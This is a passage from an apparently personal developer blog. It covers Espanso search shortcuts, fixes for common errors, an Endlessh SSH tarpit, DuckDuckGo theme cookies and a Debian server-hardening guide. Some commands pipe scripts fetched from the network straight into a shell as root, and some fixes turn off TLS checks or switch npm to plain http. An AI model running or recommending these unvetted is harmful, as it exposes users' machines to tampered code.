  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-gh"
  replace: "https://github.com/search?q={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-so"
  replace: "https://stackoverflow.com/search?q={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-dh"
  replace: "https://hub.docker.com/search?q={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-wa"
  replace: "https://www.wolframalpha.com/input/?i={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-red"
  replace: "https://www.reddit.com/search/?q={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-bbc"
  replace: "https://www.bbc.co.uk/search?q={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-vt"
  replace: "https://www.virustotal.com/gui/search/{{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-amz"
  replace: "https://amazon.co.uk/s?k={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-yt"
  replace: "https://youtube.com/results?q={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-maps"
  replace: "https://www.google.com/maps/search/{{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-goo"
  replace: "https://google.com/search?q={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]

Additional Notes

This is just a tiny tiny selection of things you could use Espanso for, the possibilities are almost endless, and I keep finding new ways to use it to speed up my typing. I'm excited about the future of the project, as new features and improvements are being added all the time.

Huge kudos to the author, Federico Terzi, who has done the bulk of the work himself.

Security

This is worth mentioning, as I am sure others will be wondering about it. Initially I was fearful of a system that could apparently intercept all of my keystrokes, but the author has highlighted that it has been built with security in mind, there is absolutely no logging, and Espanso has a memory of just 3 characters (in order for the backspace functionality to work). There's also no network requests, and I verified this myself, both in the source, any by running Wireshark.
The code is also extremely efficient, written in Rust, it uses virtually negligible system resources, even on a low-spec PC.

My Life in Months 🗓️

Alicia's Notes 🚀 — Tue, 13 Apr 2021 22:14:22 +0000

Do you ever wonder how you're spending you're life? I do, and so I went through the main activities that I do on a daily, weekly or monthly basis and calculated the approximate total time I've spent on each of them. The following chart is a breakdown of time as a proportion of my total life (so far), where each square represents 1 month.

I am now having an mini existential crisis after seeing how much of my life I have spent on relatively meaningless activities!

Errors and Solutions 🤬➡️🥳

Alicia's Notes 🚀 — Thu, 25 Mar 2021 14:54:43 +0000

Common error messages, along with their solutions.
Saves me having to figure the same thing out twice.

Linux

❌ Error running a shell script with systemd: Failed to execute command: Exec format error
✅ Solution:

Caused by missing shebang at the start of the sh script
Add the correct hash band identifier, e.g. #!/bin/bash

❌ Error: -bash: '\r': command not founxd
✅ Solution:

Caused by Windows-style newline character
Run dos2unix over the file

❌ Error with pakepkg: Cannot find the fakeroot binary
✅ Install the base-devel package group: sudo pacman -S base-devel

❌ Yarn Error: There are no scenarios; must have at least one.
✅ Caused by the wrong yarn being installed, lol. Just remove it and reinstall it

sudo apt remove yarn
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt update && sudo apt install yarn

ℹ️ Sources:

❌ FAILED (unknown public key XXXXX) - One or more PGP signatures could not be verified
✅ Solution: Add the PGP public key to your keychain, gpg --recv-key [key ID]

❌ Docker, Service failed to build: cgroups: cgroup mountpoint does not exist: unknown
✅ Temporary workaround:

sudo mkdir /sys/fs/cgroup/systemd
sudo mount -t cgroup -o none,name=systemd cgroup /sys/fs/cgroup/systemd

❌ Cargo: Failed to parse lock file at: path/to/Cargo.lock

✅ This is often caused by using an older version of Cargo. rustup can be used to update both Cargo and Rust to their latest versions. So just run: rustup update stable

❌ Go: package build constraints exclude all Go files in...
✅ Caused by packages being incorrectly cached, just run: go clean -modcache

❌ Pacman: [package-name]: [/usr/share/path/to/pakage@latest/file.compiled] exists in filesystem

This is caused by a file already existing, and Pacman not being intended to replace files. It usually happens when you've installed something manually, or using a third-party package manager, and hence it is not being tracked by Pacman.

✅ Solutions:

Update Mirrors
Sometimes this can be fixed by simply updating the mirrors, with:
sudo pacman-mirrors --fasttrack && sudo pacman -Syyu

Move / Remove Conflicting File
If not, then you can identify which packages owns the offending file, with:
pacman -Qo /path/to/file.

If the package is managed by Pacman, then you can move is with pacman -R.
Or if it's not linked to anything then either move or remove the file manually (renaming the file to *.backup will enable you to roll back if needed).

Overwrite Files
Alternatively there's also an --overwrite option, that will force Pacman to replace any conflicting files. E.g. sudo pacman -S [package-name] --overwrite '*'. This is useful when your local database has been "lost", causing every single installed package to throw a "conflicts" error.

ℹ️ For more information, see:

A note for preventing this in the future: When using a third-party installer, always specify an alternative installation location, e.g. /home, /opt or /usr/local/. But never install directly under / or /usr.

❌ Pacman error: failed retrieving file '_' from _ Connection timed out after 10001 milliseconds

✅ Update mirrors: sudo pacman-mirrors --country United_Kingdom

❌ Warning: High IOWait. Raspberry Pi 4, booted from a USB running incredibly slowly

✅ Run lsusb -t if it shows usb-storage, then UAS is not supported out of the box and you need to either enable it with quirks mode, or use a UAS-compatible drive.

ℹ️ More Info:

❌ Error: Using Powerlevel10k in ZSH on R Pi: gitstatus failed to initialize

✅ Solution:

Caused by the binary for the gitstatusd module (used to show git into by P10K) not being available for the current architecture
There are two solutions:
- Either manually compile the binary, and set GITSTATUS_DAEMON=/path/to/gitstatusd in ~/.zshrc. See: https://github.com/romkatv/gitstatus/blob/master/README.md#compiling
- Or, if you don't need git display, then just comment out POWERLEVEL9K_LEFT_PROMPT_ELEMENTS from the vcs section in ~/.p10k.zsh

ℹ️ More Info:

❌ wget: WGETRC points to /home/user/.config/wget/wgetrc, which couldn't be accessed because of error: No such file or directory.
✅ Caused my missing config file, just: mkdir -p ~/.config/wget/ && touch ~/.config/wget/wgetrc

❌ ".": Permission denied (os error 13)

✅ sudo chown -R $(whoami) ./

❌ /usr/lib/libc.so.6: versionGLIBC_2.34' not found`

✅ pacman -S glibc lib32-glibc

❌ Running ssh-add shows: Error connecting to agent: Connection refused

✅ Start the SSH Agent, by running: eval "$(ssh-agent)"

❌ Git error: only one config file at a time

✅ unset GIT_CONFIG

❌ Vercel site behind Cloudflare: err_too_many_redirects

✅ In Cloudflare dashboard, select your site, and under SSL/TLS, set encryption to "Full"

Web Development

❌ Flutter Web: No devices detected.
✅ Run which [browser-name], then store the path in CHROME_EXECUTABLE environmental variable
E.g. in .zshrc: export CHROME_EXECUTABLE="/opt/brave.com/brave/brave-browser"

❌ Node Sass does not yet support your current environment: Windows 64-bit with Unsupported runtime (88)
✅ Solution:

Caused by node-sass's binaries being built for a for a different architecture
To fix this, just run: npm rebuild node-sass

❌ TypeError: Cannot assign to read only property 'exports' of object '#' error
✅ Solution:

Caused by using CommonJS syntax instead of ES Modules
To fix it, just replace module.exports = myFunc; with export default myFunc;

❌ Error: Cannot find module './_baseValues'

✅ Solution:

Clearing the cache fixed this: yarn cache clean
If the issue persists, remove (rm -rf node_modules\ yarn.lock) and reinstall (yarn) node_modules

❌ Error: Gatsby.js randomly decides that it cannot find a certain dependency
- e.g.: No files matching '\x\x\x\node_modules\@gatsbyjs\x\x\x.js' were found.
✅ Solution: Remove the cache and restart. rm -rf .cache && yarn develop

❌ 'React' was used before it was defined
✅ Solution: Within .eslintrc under rules, disable the base rule, and add a TypeScript specific rule
- "no-use-before-define": "off",
- "@typescript-eslint/no-use-before-define": ["error"]

❌ Error: Delete '␍' prettier/prettier
✅ Solution:
- Either change VS Codes end of line sequence from LF to CRLF
- Or add endOfLine: 'auto' into .prettierrc

❌ JSX not allowed in files with extension '.tsx'
✅ In eslintrc, under the rules section, add:
- 'react/jsx-filename-extension': [2, { 'extensions': ['.js', '.jsx', '.ts', '.tsx'] }]

❌ Start/ end value has mixed support, consider using flex-end instead
✅ When using flexbox layout, replace align-items: end; with align-items: flex-end;

❌ Project published to GitHub pages using GitHub actions shows as a 404 (even though code is correct)
✅ This seems to be a known reliability issues for new sites, and the following things (for some reason) help:

Ensure that none of your files and sub-folders begin with an _, as GitHub / Jekyll ignores these
If you're not using Jekyll, then place a file called .nojekyll in your projects root
Remember that URLs are case-sensitive, ensure it's typed correctly, and that you're using https
Check an older version is not cached, try clearing your site data, appending a string after ? in the URL, or use a different browser
Double check that GitHub pages is enabled, pointing to the correct branch, and that there are no errors in the Actions logs
Ensure your index.html is valid, has a doctype, e.g. <!DOCTYPE html>, and doesn't include any non UTF-8 special characters
Push an empty commit to trigger a rebuild: git commit --allow-empty -m "Trigger rebuild" && git push origin master
If you bound your domain, before GH pages was deployed, then GitHub caches the broken domain, try removing and re-adding your domain
Try deleting and re-creating GH Pages branch: git checkout gh-pages && git push origin --delete gh-pages && git push origin
Wait for a few hours... Sometimes this issue just fixes itself
If nothing worked, then open a support ticket. This is a known issue with GitHub pages, and is usually quickly resolved by customer support from their end

❌ Npm Install global modules fails: Missing write access in mac to /usr/local/lib/nodemodules
✅ Just update the permissions of global nodemodules
sudo chown -R $USER ~/.npm
sudo chown -R $USER /usr/lib/nodemodules
sudo chown -R $USER /usr/local/lib/nodemodules

❌ npm ERR! code UNABLETOGETISSUERCERT_LOCALLY
✅ Run: npm config set registry http://registry.npmjs.org/

❌ Yarn Error: unable to get local issuer certificate
✅ yarn config set "strict-ssl" false -g

❌ go.mod file not found in current directory or any parent directory
✅ Run: go env -w GO111MODULE=off

Misc

❌ Cargo error no such subcommand: 'make'
✅ Just install cargo make: cargo install --no-default-features --force cargo-make

❌ Error on Windows: error during connect: This error may indicate that the docker daemon is not running.: Get http://%2F%2F.%2Fpipe%2Fdockerengine/v1.24/containers/json: open //./pipe/dockerengine: The system cannot find the file specified.
✅ Solution:

Update the security permissions for the docker.exe file, to include "Users" (Right click --> Properties --> Security). This file is usually located in C:\Program Files/Docker/Docker/
Then restart Docker: As admin, run Net stop com.docker.service and Net start com.docker.service

Also, ensure that you have the latest version of Docker installed, and WSL is set to version 2 (with wsl --set-default-version 2)

❌ Docker inspect throws error on Windows: Template parsing error: template: :1: unclosed action
✅ Double quotes are required for the JSON keys, e.g. docker inspect --format="{{json .State.Health}}" my-container

❌ VirtualBox in Windows shows error: VERR_CPUM_RAISE_GP_0 with WSL2
✅ Solution:

As admin, run: bcdedit /set hypervisorlaunchtype off
Then shutdown and restart the PC with shutdown -s -t 2

❌ Ngrok throws an error with react dev server: Invalid Host Header
✅ Add the -host-header flag, e.g. ngrok http 8080 -host-header="localhost:8080"

❌ Gimp: Unable to apply Rounded Corners (Filters --> Décor --> xx)
✅ Solution:
- Some filters cannot be used with an alpha layer.
- Right-click on the current layer, and "Remove Alpha Channel"

❌ Ledger: Stuck on "Touch Security Key" using MetaMask on Windows with Ledger Nano X
✅ Solution:
- First, allow contract data in transactions (within the Eth app on the Ledger device)
- Disable Bluetooth, in order confirm transactions over USB (on Ledger's device Settings)

❌ Ledger: On Linux, cannot detect device
✅ Solution: Install udev rules
- wget -q -O - https://raw.githubusercontent.com/LedgerHQ/udev-rules/master/add_udev_rules.sh | sudo bash

❌ Listed.to - Custom domain does not work, even when DNS records are all correct
✅ Ensure that DNS records are not proxied through Cloudflare's servers

❌ Standard Notes Linux - Unable to login, incorrect email and password even when correct
✅ Manually update the app to the latest version

❌ Flutter Web - No devices found

✅ If you don't have Chrome installed, then you can use Chromium or any other Chromium-based browser instead. You'll need to set the CHROME_EXECUTABLE environmental variable to point to it's executable so that Flutter can launch it.
E.g. export CHROME_EXECUTABLE=/usr/bin/brave

Quick How-To Guides 💫

Alicia's Notes 🚀 — Wed, 17 Mar 2021 20:05:24 +0000

A mix of simple things that (despite doing regularly) I still forget, as well as more niche stuff that took me a little while to figure out. The purpose of documenting this, is both to help others and for future reference for myself

Servers

General

Coding

Code Management

SSH Tarpit with EndleSsh 🪤🕳️

Alicia's Notes 🚀 — Sat, 13 Mar 2021 18:17:30 +0000

Endlessh is an SSH tarpit to keep the automated bots hitting port 22 locked up, and waste script kiddies time.

You can either get it from your package manager with sudo apt install endless, or build from source. To build, ensure you have libc6-dev installed, then git clone git@github.com:skeeto/endlessh.git, cd endlessh, make, and move it to your path- sudo mv endlessh /usr/local/bin/.

Move the service to systemd, sudo cp util/endlessh.service /etc/systemd/system, and enable it sudo systemctl enable endlessh. Next, specify the configuration mkdir /etc/endlessh and sudo vim /etc/endlessh/config
Add your desired config, e.g.

Port 22
Delay 10000
MaxLineLength 32
MaxClients 4096
LogLevel 0
BindFamily 0

If you're using a low port number, ensure you update the endlessh.service with AmbientCapabilities=CAP_NET_BIND_SERVICE, and run sudo setcap 'cap_net_bind_service=+ep' /usr/local/bin/endlessh.

Finally, run sudo systemctl start endlessh to start the service, you should now see the service running on your specified port when you run netstat -tulpn | grep endlessh. If you need to check the logs, run sudo journalctl -u endlessh

Pimping up Your DuckDuckGo Search Results 💄

Alicia's Notes 🚀 — Sat, 20 Feb 2021 20:00:00 +0000

Intro
Themes
- Navy + Teal
- Titanium
- Cyberpunk
- Dracula
- Hack
- Neon
- Nord
Usage

Yet another awesome feature of DuckDuckGo, is that they make it really easy to modify your theme, just go to: https://duckduckgo.com/settings#appearance. From here you can customize your colors, fonts and layout of your search results and home page.

I am no designer by any stretch of the imagination (as you can probably see!), but here are a couple of themes I made, along with their code if you want to use them. You can preview themes live without making any changes by clicking the link below each screenshot, or to apply a theme, see the JS snippet at the end of this post.

Settings in DDG can either be applied temporarily with DuckDuckGo's URL parameters, locally as cookies, or globally using DDG's Cloud Save feature.

Callisto

Try it Out!

Color Palette: #0b1021, #080813, , #00af87, #0a7355, #d3d5e5, #a8d3ff

JSON

{"kae":"d", "k5":"1", "kay":"b", "kbc":"1", "kax":"v261-7", "kx":"a8d3ff", "kaa":"0a7355", "kj":"080813", "k9":"00af87", "k18":"1", "ka":"Hack", "k8":"d3d5e5", "k21":"080813", "k7":"0b1021", "kt":"v"}

Cookie Data

5=1; ay=b; bc=1; ae=d; ax=v261-7; 18=1; aa=0a7355; x=a8d3ff; 8=d3d5e5; 9=00af87; j=080813; 7=0b1021; 21=080813; a=Hack; t=v

Titanium

Try it Out!

Color Palette: #dedede, #9b83db, #000000

JSON

{"kae":"d", "k5":"1", "kay":"b", "kbc":"1", "kax":"v261-7", "kx":"000000", "kaa":"9b83db", "kj":"9b83db", "k9":"9b83db", "k18":"1", "k8":"000000", "k21":"9b83db", "k7":"dedede", "kt":"b", "ku":"1", "ka":"Arial Rounded MT Bold"}

Cookie Data

5=1; ay=b; bc=1; ae=d; ax=v261-7; u=1; 18=1; j=9b83db; x=000000; 7=dedede; 8=000000; aa=9b83db; 9=9b83db; 21=9b83db; t=b; a=Arial%20Rounded%20MT%20Bold

Cyberpunk

Try it Out!

Color Palette: #101116, #ff0055, #9254b5, #785eef, #fffc58

JSON

{"kae":"d", "k5":"1", "kay":"b", "kbc":"1", "kax":"v261-7", "kx":"FFFC58", "kaa":"9254b5", "kj":"FF0055", "k9":"FF0055", "k18":"1", "ka":"Cyberpunk", "k8":"785eef ", "k21":"FFFC58", "k7":"101116", "kt":"e"}

Cookie Data

5=1; ay=b; bc=1; ae=d; ax=v261-7; 8=785eef%20; aa=9254b5; x=FFFC58; 18=1; j=FF0055; 21=FFFC58; 7=101116; 9=FF0055; a=Cyberpunk; t=e

Dracula

Try it Out!

Credit: This theme was inspired by Dracula

JSON

{"kae":"t", "ks":"m", "kw":"n", "ko":"s", "ku":"-1", "ky":"44475a", "k7":"282a36", "k8":"f8f8f2", "k9":"50fa7b", "kt":"p", "km":"l", "kj":"282a36", "ka":"p", "kaa":"bd93f9", "kx":"f1fa8c", "kaf":"1", "kai":"1", "kf":"1"}

Cookie Data

ae=t; s=m; w=n; o=s; u=-1; y=44475a; 7=282a36; 8=f8f8f2; 9=50fa7b; t=p; m=l; j=282a36; a=p; aa=bd93f9; x=f1fa8c; af=1; ai=1; f=1

Hack

Try it Out!

Color Palette: #101116, #070709, #00ff2b, #d1d1d1, #fffc58, #118b25, Font: Courier

JSON

{"kae":"d", "k5":"1", "kay":"b", "kbc":"1", "kax":"v261-7", "kx":"FFFC58", "kaa":"0cbd2b", "kj":"070709", "k9":"00ff2b", "k18":"1", "ka":"Courier New", "k8":"d1d1d1", "k21":"118b25", "k7":"101116", "kt":"Courier"}

Cookie Data

5=1; ay=b; bc=1; ae=d; ax=v261-7; j=070709; x=FFFC58; 18=1; 7=101116; 9=00ff2b; aa=0cbd2b; 21=118b25; 8=d1d1d1; t=Courier; a=Courier%20New

Neon

Try it Out!

Color Palette: #261d49, #2a1f48, #df95ff, #9254b5, #1bccfd, #21f6bc, Font: Hack

JSON

{"kae":"d", "k5":"1", "kay":"b", "kbc":"1", "ka":"Hack", "k7":"261d49", "k8":"1bccfd", "k21":"2a1f48", "k18":"1", "kx":"21f6bc", "kaa":"9254b5", "kj":"2a1f48", "k9":"df95ff"}

Cookie Data

5=1; ay=b; bc=1; ae=d; j=2a1f48; a=Hack; 18=1; aa=9254b5; 7=261d49; 9=df95ff; 8=1bccfd; 21=2a1f48; x=21f6bc

Nord

Pale grey and dusty pastel

Try it Out!

Color Palette: #2e3440, #404855, #81a1c1, #87c0d0, #b28ead

JSON

{"kae":"d", "k5":"1", "kay":"b", "kbc":"1", "kax":"v261-7", "kx":"b28ead", "kaa":"87c0d0", "kj":"404855", "k9":"#81a1c1", "k18":"1", "ka":"Courier New", "k8":"#81a1c1", "k21":"#81a1c1", "k7":"2e3440", "kt":"h"}

Cookie Data

5=1; ay=b; bc=1; ae=d; ax=v261-7; a=Courier%20New; 7=2e3440; 18=1; 9=81a1c1; 8=81a1c1; aa=87c0d0; x=b28ead; 21=81a1c1; j=404855; t=h

Usage

There are three different methods of applying themes: Using cookies, URL parameters or DDG's cloud store

For cookies, settings can be applied programmatically with JavaScript directly through the browser console (or using a dev tool or third-party extension). Settings are specified as individual cookies, with a single string identifier and a corresponding value. The following is a quick script to apply settings easily, just replace ddg_cookie_input with your desired data (or use one of the examples above). Note that you must be on the DuckDuckGo domain for this to work.

// Converts DDG cookie string into formatted JSON
const makeCookieData = (ddg_cookie_input) => {
    let ddg_json = {};
  const items = ddg_cookie_input.split(/[ ,]+/);
  items.forEach((item)=>{
    let parts = item.split('=');
    ddg_json[parts[0]] = parts[1];
  });
  return ddg_json;
}

// Iterates over JSON, and adds to browser cookie store
const setCookies = (ddg_json) => {
  Object.keys(ddg_json).forEach(function(key) {
    document.cookie=`${key}=${ddg_json[key]}`;
  });
}

// Paste your cookie data here
const ddg_cookie_input = `5=1; ay=b; bc=1; ae=d; ax=v261-7; 18=1; aa=0a7355; x=a8d3ff; 8=d3d5e5; 9=00af87; j=080813; 7=0b1021; 21=080813; a=Hack; t=v`;

// Call set cookies, passing in formated cookie data
setCookies(makeCookieData(ddg_cookie_input));

// All done, reload page for changes to take effect :)
location.reload();

This is handy, because once you've got DDG setup just how you like, you can make note of these values, and then easily apply them to any other system or browser with a single command.

If you would rather not set cookies, then you can use URL GET parameters (but note that the identifiers are different, see the full list of options here). You can find pre-formatted URL under Settings --> Appearance --> Show Bookmarklet and Settings Data. Here you can also enable cloud save, where you pick a password which is encoded into a URL so that you can access your setup on a different browser/ device.

Alternatively, if you're already using TamperMonkey, then you can manage this with JavaScript. Similarly if you're comfortable with CSS, then you have a lot more flexibility, and extensions like Stylish can make it easy to manage CSS overrides (here are some examples). - But the great thing about DDG, is that no extensions of hacks are required. (Also note that browser extensions can be pretty bad for privacy- they make your fingerprint much more unique, and occasionally are plain malicious)

My Server Setup ⚙️

Alicia's Notes 🚀 — Fri, 12 Feb 2021 20:00:00 +0000

This article outlines the steps I take on any new server, to configure it for security, consistency and convenience. It is written specifically for Debian, but will also directly apply to derivatives (such as Ubuntu), and will likely be very similar for for other distros.

I am in the process of writing automation scripts to cover all of these steps, in the form of Ansible Playbooks.

This guide is split into 10 sections:

System Update - Upgrade the OS and enable automated security updates
System Setup - Specify hostname, add users, configure server time etc
Configure SSH - Setup keys, configure sshd_config and set permissions
Install Essential Software - Including git, vim, zsh, tmux, ranger etc
Enable Firewall - Manage allowed inbound/ outbound connections with UFW
Setup Intrusion Prevention - Protect from brute force attacks with Fail2Ban
Configure Malicious Traffic Detection - Flag malicious packets with MalTrail
Implement Security Auditing and Scanning - With ClamAV, Lynis and RKhunter
Fetch Dotfiles for Vim, ZSH, Tmux etc to make SSH sessions more comfortable
Automated Backups - Using Borg for incremental, off-site, encrypted backups
Setup System Monitoring
Final Steps - Optional items (Go, Rust, Node, Python, Docker, NGINX etc..)

System Update

Update the System and Packages

apt update - Update system packages
apt -y upgrade - Upgrade OS
apt autoremove and apt clean - Remove locally downloaded deb packages and apt-get caches

Enable Unattended Upgrades

apt install unattended-upgrades - Install package (if not already installed)
dpkg-reconfigure --priority=high unattended-upgrades - Enable automatic upgrades
vi /etc/apt/apt.conf.d/50unattended-upgrades to update the configuration

System Setup

Specify Host Name

sudo hostnamectl set-hostname [new-host-name] - Set the machines host name (view with hostname)
Add 127.0.0.1 [hostname] into /etc/hosts - Add host name to the hosts file

Add New Users

useradd -m [username] -c "[user full name]" - Create a new user (-c Allows an associated name or comment)
passwd [username] - Specify a password for new user
sudo usermod -a -G sudo [username] - Gives the user root privileges (only apply if needed)

Set the Server Time

sudo timedatectl set-timezone Europe/London
sudo vi /etc/systemd/timesyncd.conf and add the address of the local NTP server
sudo systemctl restart systemd-timesyncd.service - Restart the time sync service

Configure SSH

Setup SSH Keys for Authentication

sudo apt install openssh-server - Install OpenSSH Server on remote host
ssh-keygen -t rsa -b 4096 - On the local system. Generates a new SSH key pair (enter a strong passphrase when prompted)
ssh-copy-id root@[0.0.0.0] - Uploads to the remote server, and update the hosts file
chmod go-w ~ ~/.ssh ~/.ssh/authorized_keys - On the remote host, updated permissions
sudo ufw allow ssh - If UFW is enabled, then allow SSH access

Next we're going configure a couple of SSH security essentials

vim /etc/ssh/sshd_config - To open the SSH daemon's config file , and update:
- Protocol 2 # Only use SSH 2 Protocol
- PermitRootLogin no # Disable root SSH login
- PasswordAuthentication no # Disable password-based SSH login
- Compression delayed # Compression could be dangerous, only allow it once authenticated
- MaxAuthTries 5 # Limit the maximum authentication attempts
- PrintLastLog yes # Display last login date for an extra check (should be default)
- PermitEmptyPasswords no # Disallow empty passwords (Not relevant for SSH Keys, but still good to have)
- IgnoreRhosts yes # Disallow access via rhosts, which is rarely used anymore
- IgnoreUserKnownHosts yes # Only trust the global known hosts list
- HostBasedAuthentication no # Similar to rhosts, this is rarely used
- Port 2200 # Set SSH access to a non-standard port
- StrictModes yes # Prevent users from accidentally leaving their directories/ files as writable
- UsePrivilegeSeparation sandbox # Prevent privilege escalation
- PubkeyAuthentication yes # Public key authentication should be preferred (should be default)
- GSSAPIAuthentication no # If you are not using GSSAPI authentication, this should be disabled
- KerberosAuthentication no # If you are not using Kerberos authentication, this again should be disabled
- Ciphers aes128-ctr,aes192-ctr,aes256-ctr # Use FIPS 140-2 compliant ciphers, to avoid weak encryption algorithms
- MACs hmac-sha2-256,hmac-sha2-512 # Use FIPS 140-2 Compliant MACs, to avoid weak cryptographic hashes
- HashKnownHosts yes - Storing host data in plaintext gives an attacker a clear picture of the network

The SSH daemon must be restarted, in order for these config changes to take effect: sudo systemctl restart ssh

Protect SSH Host Keys

sudo chmod 0600 /etc/ssh/*key - Set permissions for private keys
sudo chmod 0644 /etc/ssh/*pub - Set permissions for public keys

If your system stores keys in a different directory, you can find them with grep -i hostkey /etc/ssh/sshd_config. You can list the permissions of keys with ls -l /etc/ssh/*key (or *pub for public keys)

Optionally, configure an SSH tarpit, to lock up the bots hammering port 22, with Endlessh

Install Essential Software

Install Packages

sudo apt update - Ensure the package list is up-to-date
sudo apt install -y git vim tmux zsh ranger - Install essentials: vim, git, tmux, ZSH and ranger
sudo apt install -y make curl - Install utilities
sudo apt install -y fzf exa - Install command line improvements
sudo apt install -y ctags xsel glances fonts-powerline - Install visual improvements
sudo apt install -y clamav rkhunter lynis - Install security audit tools
sudo apt install -y neofetch figlet lolcat - Optionally, install fun stuff

Optionally,

If needed, install Docker
If needed, install Go Lang
If needed, install Rust and Cargo, with sudo curl https://sh.rustup.rs -sSf | sh (check the script first!)
If needed, install Python and PIP, with sudo apt install python3 python3-pip
If needed, install Node.js and NPM, with sudo apt install nodejs npm
- Or use NodeSource's Node.js PPA: curl -fsSL https://deb.nodesource.com/setup_current.x | bash -

Configure Firewall with UFW

sudo apt install ufw - Install UFW
sudo vi /etc/default/ufw and set IPV6=yes to use IPv6
sudo ufw default deny incoming and sudo ufw default allow outgoing to deny all incoming traffic, and allow outgoing
sudo ufw allow 2200/tcp to for example, allow incoming SSH traffic on port 2200
sudo ufw disable and sudo ufw enable (or systemctl restart ufw) to restart UFW
sudo ufw status - Check the current status

Whenever a new application is configured, UFW needs to be updated to allow incoming traffic to that port and protocol.

Intrusion Prevention with Fail2Ban

sudo apt install fail2ban - Install Fail2ban
sudo cp /etc/fail2ban/jail.{conf,local} - Copy jail.conf to jail.local
sudo vi /etc/fail2ban/jail.local - To edit the local config file, and add:
- ignoreip = 127.0.0.1/8 ::1 192.168.1.0/24 - with local IP addresses
- bantime = 1d - Increase the ban time to 1 day
- findtime = 10m - Time between each attempt
- maxretry = 7 - Number of failures before IP is banned
sudo systemctl restart fail2ban - Restart Fail2ban, for changes to take effect
sudo systemctl status fail2ban - Show the current status

The fail2ban-client can also be used to interact with the Fail2ban service from the CLI

Malicious Traffic Detection with MalTrail

For systems that have services exposed to the internet, or for a firewall device that protects internal devices, then MalTrail can be really useful for flagging anything out of the ordinary.

Install dependencies and get the MalTrail source

sudo apt install schedtool python-pcapy git - SchedTool for better CPU scheduling, and Python for MalTrail
git clone https://github.com/stamparm/maltrail.git - Get the MalTrail code
cd maltrail - Navigate into the directoru

Run MalTrail. There are two components, a sensor and a server.

sudo python sensor.py & - Start the sensor (& will run it in the background)
python server.py & - Start the server, in order to log results and allow access through a GUI

Access the GUI

Navigate to http://[ip]:8338 and enter username: admin and password: changeme!
To test things are working correctly, try ping -c 1 136.161.101.53 or, for DNS capturing nslookup morphed.ru
- Results for both should display on the dashboard and in the logs: /var/log/maltrail/
- To view today's logs, run cat /var/log/maltrail/$(date +"%Y-%m-%d").log

Configure MalTrail's Settings

echo -n '[your-desired-password]' | sha256sum | cut -d " " -f 1 - Choose a strong password and hash it
sudo vim /home/tech/maltrail/maltrail.conf - Open the configuration file
Under USERS section, replace the current Admin:05a181f00c15... with Admin:[your-hashed-password]
From within the maltrail.conf you can configure other settings for the server component
pkill -f server.py && python server.py & - Restart MalTrail
Under normal circumstances the logs are fairly sparse, so it is possible to use a system like entr to monitor them for changes and notify you using a channel of your choice.

Security Scanning with ClamAV, Lynis and RKhunter

For security monitoring, I am using Lynis to audit general system config, ClamAV for detecting malware and rkhunter for checking for root kits.

Install Packages

sudo apt install -y clamav rkhunter lynis - Install security audit tools
sudo rkhunter --propupd - Update rkhunter's file properties database

Run a System Audit

sudo lynis audit system - Run a full security audit
sudo clamscan / -r - Scan for malware
sudo rkhunter -c --sk --rwo - Check for rootkits (c for check, sk for skip keypress and rwo for report wanrings only)

These commands can also be put into an .sh file, and run periodically as a scheduled cron job, sending results to your email.

Setup Dotfiles

If not already done, set ZSH as default shell: chsh -s /usr/bin/zsh
git clone https://github.com/Lissy93/dotfiles.git --recursive - Download my dotfiles
cd ./dotfiles - Navigate to directory
./install.sh - Run the install script

Automated Backups

Borg is a deduplicating archiver with compression and encryption, it's space efficient, secure and easy. BorgBase provides affordable, performant, simple and safe Borg repositories (10 GB free or 100 GB for $24/year). I am also using HealthChecks.io for monitoring backup status.

Install dependencies: sudo apt install borgbackup borgmatic
Generate SSH key pair:
- ssh-keygen -t ed25519 -a 100
- Make note of the public key, within ~/.ssh/
Sign up + create a new repo on BorgBase (or your provider of choice)
- Import the public key generated previously
- Make note of the repo address
Create a Borgmatic config file in /etc/borgmatic/config.yaml. You can create a sample file, with generate-borgmatic-config, then populate it with your preferences (files to backup, source of BorgBase repo, etc)
Make backup
- Initilize your repo with: sudo borgmatic init --encryption repokey-blake2
- Make your first backup with: borgmatic (add --verbosity 1 to see logs)
Automate with a cron job
- First allow borgmatic to be run without needing password, run sudo visudo, and paste my-username ALL=(root) NOPASSWD: /usr/bin/borgmatic
- Then run crontab -e, and paste 0 0 * * * sudo borgmatic

Final Steps

Setup Welcome Banner

sudo cp ~/dotfiles/utils/welcome-banner.sh /etc/profile.d/motd.sh - Copy welcome banner from utils to system
sudo chmod +x /etc/profile.d/motd.sh - Update permissions for all users

Install NetData, for web-based resource monitoring

bash <(curl -Ss https://my-netdata.io/kickstart.sh) --stable-channel --disable-telemetry - Install NetData
You will need to allow firewall access, sudo ufw allow from [your-static-ip] to any port 19999
If using a cloud platform (like AWS, Azure, GCP) then you may need specify an inbound port rule to allow access

Setup Glances

Install: sudo apt install glances
To enable Glances to start up at boot time, run it as a service with systemd. See docs for more info
If you need to access Glances remotely, either VPN into your server (recommended), or setup a reverse proxy to the Glances web page, as per docs

Install Bpytop

sudo pip3 install bpytop --upgrade

In some situations, Cockpit might be useful. It's an efficient, extendable, all-in-one web-based server management app. It's useful for carrying out basic tasks, without having to SSH into a rarely used box and re-familiarize yourself all over again.

echo 'deb http://deb.debian.org/debian buster-backports main' > /etc/apt/sources.list.d/backports.list - Enable the backports repository
sudo apt update and sudo apt install -t buster-backports cockpit - Update and install

If you're using Ubuntu, Cockpit is already included as an official backport, to install just run sudo apt install cockpit

